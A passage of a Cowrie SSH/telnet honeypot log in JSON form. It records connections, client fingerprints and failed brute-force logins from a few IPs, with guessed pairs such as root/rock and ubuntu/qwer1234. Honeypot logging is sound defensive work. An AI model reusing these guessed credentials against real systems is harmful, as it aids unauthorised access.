0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:17.437274Z","src_ip":"45.153.34.114","session":"6f93d2ebe56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:17.719363Z","src_ip":"45.153.34.114","session":"6f93d2ebe56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:18.840455Z","src_ip":"45.153.34.114","session":"6f93d2ebe56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d54851a4a38d","protocol":"ssh","message":"New connection: 103.75.199.4:56138 (159.203.135.109:22) [session: d54851a4a38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:22.869133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:22.873285Z","src_ip":"103.75.199.4","session":"d54851a4a38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:22.964426Z","src_ip":"103.75.199.4","session":"d54851a4a38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:23.237304Z","src_ip":"103.75.199.4","session":"d54851a4a38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:24.334293Z","src_ip":"103.75.199.4","session":"d54851a4a38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53874,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0da2ff85c57","protocol":"ssh","message":"New connection: 45.153.34.114:53874 (159.203.135.109:22) [session: f0da2ff85c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:25.241390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:25.245770Z","src_ip":"45.153.34.114","session":"f0da2ff85c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:25.333235Z","src_ip":"45.153.34.114","session":"f0da2ff85c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:25.595988Z","src_ip":"45.153.34.114","session":"f0da2ff85c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:26.682264Z","src_ip":"45.153.34.114","session":"f0da2ff85c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46052,"dst_ip":"159.203.135.109","dst_port":22,"session":"a309683f2c3e","protocol":"ssh","message":"New connection: 45.153.34.114:46052 (159.203.135.109:22) [session: a309683f2c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:32.973823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:32.978587Z","src_ip":"45.153.34.114","session":"a309683f2c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:33.066322Z","src_ip":"45.153.34.114","session":"a309683f2c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40342,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d551525eff1","protocol":"ssh","message":"New connection: 80.94.92.182:40342 (10.17.0.5:22) [session: 7d551525eff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:33.234904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:33.344349Z","src_ip":"80.94.92.182","session":"7d551525eff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:33.347742Z","src_ip":"80.94.92.182","session":"7d551525eff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:33.461220Z","src_ip":"45.153.34.114","session":"a309683f2c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:34.418391Z","src_ip":"80.94.92.182","session":"7d551525eff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:34.550959Z","src_ip":"45.153.34.114","session":"a309683f2c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:35.653445Z","src_ip":"80.94.92.182","session":"7d551525eff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60154,"dst_ip":"159.203.135.109","dst_port":22,"session":"167f186467ab","protocol":"ssh","message":"New connection: 45.153.34.114:60154 (159.203.135.109:22) [session: 167f186467ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:40.754652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:40.759312Z","src_ip":"45.153.34.114","session":"167f186467ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:40.857737Z","src_ip":"45.153.34.114","session":"167f186467ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:41.120755Z","src_ip":"45.153.34.114","session":"167f186467ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:42.224353Z","src_ip":"45.153.34.114","session":"167f186467ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42818,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9fae122027","protocol":"ssh","message":"New connection: 103.75.199.4:42818 (159.203.135.109:22) [session: 5c9fae122027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:44.728266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:44.734953Z","src_ip":"103.75.199.4","session":"5c9fae122027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:44.826880Z","src_ip":"103.75.199.4","session":"5c9fae122027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:45.101719Z","src_ip":"103.75.199.4","session":"5c9fae122027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:46.196626Z","src_ip":"103.75.199.4","session":"5c9fae122027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60164,"dst_ip":"159.203.135.109","dst_port":22,"session":"b74a3a566aab","protocol":"ssh","message":"New connection: 45.153.34.114:60164 (159.203.135.109:22) [session: b74a3a566aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:48.679971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:48.684663Z","src_ip":"45.153.34.114","session":"b74a3a566aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:48.771832Z","src_ip":"45.153.34.114","session":"b74a3a566aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:49.030210Z","src_ip":"45.153.34.114","session":"b74a3a566aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:50.115985Z","src_ip":"45.153.34.114","session":"b74a3a566aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":3016,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d594b38792","protocol":"telnet","message":"New connection: 34.76.145.205:3016 (159.203.135.109:23) [session: f7d594b38792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:55.094176Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":3024,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e6448e4416b","protocol":"telnet","message":"New connection: 34.76.145.205:3024 (159.203.135.109:23) [session: 0e6448e4416b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:55.249858Z"}
{"eventid":"cowrie.session.closed","duration":0.005631923675537109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:55.255340Z","src_ip":"34.76.145.205","session":"0e6448e4416b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":3032,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa2f2e6319b0","protocol":"telnet","message":"New connection: 34.76.145.205:3032 (159.203.135.109:23) [session: aa2f2e6319b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:55.406331Z"}
{"eventid":"cowrie.session.closed","duration":1.1473894119262695,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:56.241468Z","src_ip":"34.76.145.205","session":"f7d594b38792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40050,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d6b0b29edfe","protocol":"ssh","message":"New connection: 45.153.34.114:40050 (159.203.135.109:22) [session: 2d6b0b29edfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:56.794668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:56.799916Z","src_ip":"45.153.34.114","session":"2d6b0b29edfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 